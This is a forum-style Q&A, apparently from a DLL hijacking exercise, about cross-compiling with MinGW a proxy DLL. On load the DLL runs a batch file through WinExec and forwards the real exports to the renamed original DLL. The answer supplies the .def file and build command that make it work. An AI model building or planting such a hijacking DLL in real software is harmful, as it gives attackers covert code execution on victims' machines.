I'm working through a DLL hijacking exercise, and have a DLL written which works as expected when compiled in Visual Studio. Essentially, when the DLL is loaded, it executes a shell command and passes off legitimate functionality (in this example, the CheckEvenOdd and PrintAMessage functions) to the originally intended DLL (in this example, GetEvenOdd.dll). The working code is as follows;
#include "stdafx.h"
#include <windows.h>
#pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd")
#pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage")
extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmd(LPVOID lpParam) {
WinExec("c:\\Users\\Public\\execute.bat", 0);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Although it works as intended when compiled in Visual Studio (Windows), I would like to generate the DLL in Linux (for use in a Windows program). Within Linux, I can cross-compile the CPP file (injector.cpp), and create the DLL using these commands;
i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp
i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a
This creates the DLL successfully. However, when the DLL is loaded by my "victim application" (running on Windows), although the "ExecuteCmd" function gets executed, the exported functions (from the "pragma comment" line) are not available. Namely, the program which loads this DLL attempts to find the exported functions and is unable to (i.e. the following if branch of the DLL importing application is executed).
FNPTR fn = (FNPTR)GetProcAddress(hInst, "CheckEvenOdd");
if (!fn)
{
std::cout << "\nCould not locate the function CheckEvenOdd";
std::cout << "\n\nPress Enter to Continue...";
getch();
return EXIT_FAILURE;
}
That tells me the "pragma comment" line is not working as expected when I generate the DLL in Linux.
From some reading I understand these "pragma commands" are compiler specific. Is there some flags I can give to "i686-w64-mingw32-g++" (or some code change I can make) so that the exported functions are available when I compile the DLL in Linux?
A DLL file has a layout very similar to an .exe file, with one important difference — a DLL file contains an exports table. The exports table contains the name of every function that the DLL exports to other executables.
"building a cross-compiler is significantly harder than building a compiler that targets the platform it runs on." The problem exists due to the way libraries are built and accessed. In the normal situation all the libraries are located in a specific spot, and are used by all apps on that system.
Pragmas are specific to each compiler, your pragmas will work in Visual C++, but not in MingW. Instead you can use a .def file which are supported by Visual C++ and MinGW.
Here's what injector.def might look like in your case:
EXPORTS
CheckEvenOdd = GetEvenOdd.dll.original.CheckEvenOdd
PrintAMessage = GetEvenOdd.dll.original.PrintAMessage
Compilation command:
$ i686-w64-mingw32-g++ -o GetEvenOdd.dll --shared injector.cpp injector.def
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With